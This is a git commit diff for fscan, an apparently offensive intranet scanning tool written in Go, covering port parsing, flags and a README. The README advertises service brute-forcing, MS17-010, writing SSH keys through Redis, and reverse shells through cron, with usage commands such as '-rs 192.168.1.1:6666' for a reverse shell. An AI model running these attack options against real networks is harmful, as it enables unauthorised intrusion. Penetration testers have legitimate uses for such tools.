This commit is contained in:
shadow1ng 2020-11-14 00:27:55 +08:00
parent 58ae604eea
commit f89feaf89f
10 changed files with 220 additions and 81 deletions

151
.idea/workspace.xml Normal file
View File

@ -0,0 +1,151 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="ChangeListManager">
<list default="true" id="dbcb3e9d-ff5e-45b9-bccc-4f68adb4bef8" name="默认的" comment="" />
<option name="SHOW_DIALOG" value="false" />
<option name="HIGHLIGHT_CONFLICTS" value="true" />
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
<option name="LAST_RESOLUTION" value="IGNORE" />
</component>
<component name="FileTemplateManagerImpl">
<option name="RECENT_TEMPLATES">
<list>
<option value="Go File" />
</list>
</option>
</component>
<component name="GOROOT" path="E:/Program/Go" />
<component name="ProjectId" id="1hDVUoHwDE2672XxL4EU5QUGIdr" />
<component name="ProjectViewState">
<option name="hideEmptyMiddlePackages" value="true" />
<option name="showLibraryContents" value="true" />
</component>
<component name="PropertiesComponent">
<property name="DefaultGoTemplateProperty" value="Go File" />
<property name="RunOnceActivity.OpenProjectViewOnStart" value="true" />
<property name="WebServerToolWindowFactoryState" value="false" />
<property name="go.import.settings.migrated" value="true" />
<property name="go.sdk.automatically.set" value="true" />
<property name="go.tried.to.enable.integration.vgo.integrator" value="true" />
<property name="last_opened_file_path" value="$PROJECT_DIR$" />
<property name="node.js.detected.package.eslint" value="true" />
<property name="node.js.detected.package.tslint" value="true" />
<property name="node.js.path.for.package.eslint" value="project" />
<property name="node.js.path.for.package.tslint" value="project" />
<property name="node.js.selected.package.eslint" value="(autodetect)" />
<property name="node.js.selected.package.tslint" value="(autodetect)" />
</component>
<component name="RecentsManager">
<key name="MoveFile.RECENT_KEYS">
<recent name="C:\Users\shadow1ng\Desktop\fscan\fscan\common" />
<recent name="C:\Users\shadow1ng\Desktop\fscan\fscan\config" />
</key>
<key name="CopyFile.RECENT_KEYS">
<recent name="C:\Users\shadow1ng\Desktop\fscan\fscan" />
<recent name="C:\Users\shadow1ng\Desktop\fscan\fscan\Plugins" />
<recent name="C:\Users\shadow1ng\Desktop\fscan\fscan\common" />
</key>
</component>
<component name="RunManager" selected="Go 构建.go build main.go (1)">
<configuration name="go build ParseIP.go" type="GoApplicationRunConfiguration" factoryName="Go Application" temporary="true" nameIsGenerated="true">
<module name="scan" />
<working_directory value="$PROJECT_DIR$" />
<kind value="FILE" />
<filePath value="$PROJECT_DIR$/common/ParseIP.go" />
<directory value="$PROJECT_DIR$" />
<method v="2" />
</configuration>
<configuration name="go build config.go" type="GoApplicationRunConfiguration" factoryName="Go Application" temporary="true" nameIsGenerated="true">
<module name="scan" />
<working_directory value="$PROJECT_DIR$" />
<kind value="FILE" />
<filePath value="$PROJECT_DIR$/Plugins/config.go" />
<directory value="$PROJECT_DIR$" />
<method v="2" />
</configuration>
<configuration name="go build main.go (1)" type="GoApplicationRunConfiguration" factoryName="Go Application" temporary="true" nameIsGenerated="true">
<module name="fscan" />
<working_directory value="$PROJECT_DIR$" />
<kind value="FILE" />
<filePath value="$PROJECT_DIR$/main.go" />
<directory value="$PROJECT_DIR$" />
<method v="2" />
</configuration>
<configuration name="go build main.go" type="GoApplicationRunConfiguration" factoryName="Go Application" temporary="true" nameIsGenerated="true">
<module name="scan" />
<working_directory value="$PROJECT_DIR$" />
<kind value="FILE" />
<filePath value="$PROJECT_DIR$/main.go" />
<directory value="$PROJECT_DIR$" />
<method v="2" />
</configuration>
<configuration name="go build scanner.go" type="GoApplicationRunConfiguration" factoryName="Go Application" temporary="true" nameIsGenerated="true">
<module name="scan" />
<working_directory value="$PROJECT_DIR$" />
<kind value="FILE" />
<filePath value="$PROJECT_DIR$/Plugins/scanner.go" />
<directory value="$PROJECT_DIR$" />
<method v="2" />
</configuration>
<recent_temporary>
<list>
<item itemvalue="Go 构建.go build main.go (1)" />
<item itemvalue="Go 构建.go build main.go" />
<item itemvalue="Go 构建.go build scanner.go" />
<item itemvalue="Go 构建.go build config.go" />
<item itemvalue="Go 构建.go build ParseIP.go" />
</list>
</recent_temporary>
</component>
<component name="SpellCheckerSettings" RuntimeDictionaries="0" Folders="0" CustomDictionaries="0" DefaultDictionary="application-level" UseSingleDictionary="true" transferred="true" />
<component name="TypeScriptGeneratedFilesManager">
<option name="version" value="3" />
</component>
<component name="WindowStateProjectService">
<state x="561" y="342" key="#GOROOT" timestamp="1603433408649">
<screen x="0" y="0" width="1536" height="824" />
</state>
<state x="561" y="342" key="#GOROOT/0.0.1536.824@0.0.1536.824" timestamp="1603433408649" />
<state x="561" y="245" key="#Go_modules" timestamp="1603433481397">
<screen x="0" y="0" width="1536" height="824" />
</state>
<state x="561" y="245" key="#Go_modules/0.0.1536.824@0.0.1536.824" timestamp="1603433481397" />
<state x="793" y="320" key="#com.intellij.fileTypes.FileTypeChooser" timestamp="1605001259272">
<screen x="0" y="0" width="1920" height="1040" />
</state>
<state x="793" y="320" key="#com.intellij.fileTypes.FileTypeChooser/0.0.1920.1040@0.0.1920.1040" timestamp="1605001259272" />
<state x="548" y="166" key="FileChooserDialogImpl" timestamp="1599547070897">
<screen x="0" y="0" width="1536" height="824" />
</state>
<state x="548" y="166" key="FileChooserDialogImpl/0.0.1536.824@0.0.1536.824" timestamp="1599547070897" />
<state width="1877" height="356" key="GridCell.Tab.0.bottom" timestamp="1605284177097">
<screen x="0" y="0" width="1920" height="1040" />
</state>
<state width="1493" height="158" key="GridCell.Tab.0.bottom/0.0.1536.824@0.0.1536.824" timestamp="1603441915405" />
<state width="1877" height="356" key="GridCell.Tab.0.bottom/0.0.1920.1040@0.0.1920.1040" timestamp="1605284177097" />
<state width="1877" height="356" key="GridCell.Tab.0.center" timestamp="1605284177097">
<screen x="0" y="0" width="1920" height="1040" />
</state>
<state width="1493" height="158" key="GridCell.Tab.0.center/0.0.1536.824@0.0.1536.824" timestamp="1603441915405" />
<state width="1877" height="356" key="GridCell.Tab.0.center/0.0.1920.1040@0.0.1920.1040" timestamp="1605284177097" />
<state width="1877" height="356" key="GridCell.Tab.0.left" timestamp="1605284177096">
<screen x="0" y="0" width="1920" height="1040" />
</state>
<state width="1493" height="158" key="GridCell.Tab.0.left/0.0.1536.824@0.0.1536.824" timestamp="1603441915405" />
<state width="1877" height="356" key="GridCell.Tab.0.left/0.0.1920.1040@0.0.1920.1040" timestamp="1605284177096" />
<state width="1877" height="356" key="GridCell.Tab.0.right" timestamp="1605284177097">
<screen x="0" y="0" width="1920" height="1040" />
</state>
<state width="1493" height="158" key="GridCell.Tab.0.right/0.0.1536.824@0.0.1536.824" timestamp="1603441915405" />
<state width="1877" height="356" key="GridCell.Tab.0.right/0.0.1920.1040@0.0.1920.1040" timestamp="1605284177097" />
<state x="660" y="252" width="599" height="594" key="find.popup" timestamp="1605273379346">
<screen x="0" y="0" width="1920" height="1040" />
</state>
<state x="660" y="252" width="599" height="594" key="find.popup/0.0.1920.1040@0.0.1920.1040" timestamp="1605273379346" />
<state x="539" y="183" width="840" height="856" key="search.everywhere.popup" timestamp="1604828896154">
<screen x="0" y="0" width="1920" height="1040" />
</state>
<state x="431" y="145" width="672" height="678" key="search.everywhere.popup/0.0.1536.824@0.0.1536.824" timestamp="1603435662169" />
<state x="539" y="183" width="840" height="856" key="search.everywhere.popup/0.0.1920.1040@0.0.1920.1040" timestamp="1604828896154" />
</component>
</project>

View File

@ -34,7 +34,7 @@ func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error
Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass
options := smb.Options{
Host: Host,
Port: Port,
Port: 445,
User: Username,
Password: Password,
Domain: "",

View File

@ -1,6 +1,6 @@
# fscan
# 简介
一款内网扫描工具,方便一键大保健。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写私钥、计划任务反弹shell、读取win网卡信息等。
趁着最近有空用go把f-scrack重构了一遍。使用go来编写也有更好的扩展性及兼容性。
@ -8,55 +8,59 @@
## why
为什么有LadonGo、x-crack 、tscan、Gscan 这些工具了还要写fscan
答:
因为用习惯了f-scrack习惯一条命令跑完所有模块省去一个个模块单独调用的时间当然我附加了-m 指定模块的功能。
## usege
简单用法
```
go run main.go -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写私钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
```
完整参数
```
Usage of C:\Users\shadow1ng\AppData\Local\Temp\___go_build_main_go__1_.exe:
-c string
exec command (ssh)
exec command (ssh)
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-m string
Select scan type ,as: -m ssh (default "all")
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
not to save output log
-np
not to ping
not to ping
-o string
Outputfile (default "result.txt")
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
-pwd string
password
password
-pwdf string
password file
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 127.0.0.1:4444)
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-t int
Thread nums (default 100)
Thread nums (default 100)
-time int
Set timeout (default 3)
Set timeout (default 3)
-user string
username
username
-userf string
username file
username file
```
`fscan.exe -h 192.168.x.x`
![](image/1.png)

View File

@ -5,6 +5,7 @@ import (
"flag"
"fmt"
"os"
"strconv"
"strings"
)
@ -114,4 +115,12 @@ func ParseScantype(Info *HostInfo){
}
os.Exit(0)
}
if Info.Scantype != "all" && Info.Ports != DefaultPorts{
ScanPort := ParsePort(Info.Ports)[0]
Info.Ports = strconv.Itoa(ScanPort)
fmt.Println("if -m and -p only scan the first port:",Info.Ports)
for name,_:=range PORTList{
PORTList[name] = ScanPort
}
}
}

View File

@ -1,60 +1,31 @@
package common
//
//import (
// "errors"
// "strconv"
// "strings"
//)
//
//var ParsePortErr error =errors.New("Port parsing error")
//
//func ParsePort(port string)([]int,error){
// RealPort,err:=strconv.Atoi(port)
// switch {
// case err==nil && CheckPort(RealPort):
// return []int{RealPort},nil
// case strings.Contains(port,","):
// return ParsePortB(port)
// case strings.Count(port,"-")==1:
// return ParsePortC(port)
// default:
// return nil,ParsePortErr
// }
//}
//
////Parsing multiple ports, for example: 22,80,3306
//func ParsePortB(port string)([]int ,error){
// var AllPort []int
// port1:=strings.Split(port,",")
// for _,p:=range port1{
// RealPort,err:=strconv.Atoi(p)
// if !CheckPort(RealPort) && err!=nil{
// return nil,ParsePortErr
// }
// AllPort=append(AllPort,RealPort)
// }
// return AllPort,nil
//}
//
////Parsing a range of port,for example: 22-3306
//func ParsePortC(port string)([]int ,error){
// var AllPort []int
// RangePort:=strings.Split(port,"-")
// port1,err1:=strconv.Atoi(RangePort[0])
// port2,err2:=strconv.Atoi(RangePort[1])
// if port1>port2 || err1!=nil || err2!=nil || !CheckPort(port1) || !CheckPort(port2){
// return nil,ParsePortErr
// }
// for i:=port1;i<=port2;i++{
// AllPort=append(AllPort,i)
// }
// return AllPort,nil
//}
//
//
//func CheckPort(port int)bool{
// if port<=0 || port >65535{
// return false
// }
// return true
//}
import (
"sort"
"strconv"
"strings"
)
func ParsePort(ports string) []int {
var scanPorts []int
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
sort.Strings(ranges)
port = ranges[0]
upper = ranges[1]
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
return scanPorts
}

View File

@ -34,6 +34,7 @@ var PORTList = map[string]int{
var Outputfile = "result.txt"
var IsSave = true
var DefaultPorts = "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017"
type HostInfo struct {

View File

@ -21,9 +21,8 @@ func Banner(){
func Flag(Info *HostInfo) {
Banner()
Ports := "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017"
flag.StringVar(&Info.Host,"h","","IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&Info.Ports,"p",Ports,"Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&Info.Ports,"p",DefaultPorts,"Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&Info.Command,"c","","exec command (ssh)")
flag.IntVar(&Info.Threads,"t",100,"Thread nums")
flag.BoolVar(&Info.Isping,"np",false,"not to ping")
@ -36,6 +35,6 @@ func Flag(Info *HostInfo) {
flag.Int64Var(&Info.Timeout,"time",3,"Set timeout")
flag.StringVar(&Info.Scantype,"m","all","Select scan type ,as: -m ssh")
flag.StringVar(&Info.RedisFile,"rf","","redis file to write sshkey file (as: -rf id_rsa.pub) ")
flag.StringVar(&Info.RedisFile,"rs","","redis shell to write cron file (as: -rs 127.0.0.1:4444) ")
flag.StringVar(&Info.RedisFile,"rs","","redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
flag.Parse()
}

BIN
fscan.exe Normal file

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 476 KiB

4
result.txt Normal file
View File

@ -0,0 +1,4 @@
127.0.0.1:445 open
127.0.0.1:445 open
127.0.0.1:445 open
127.0.0.1:445 open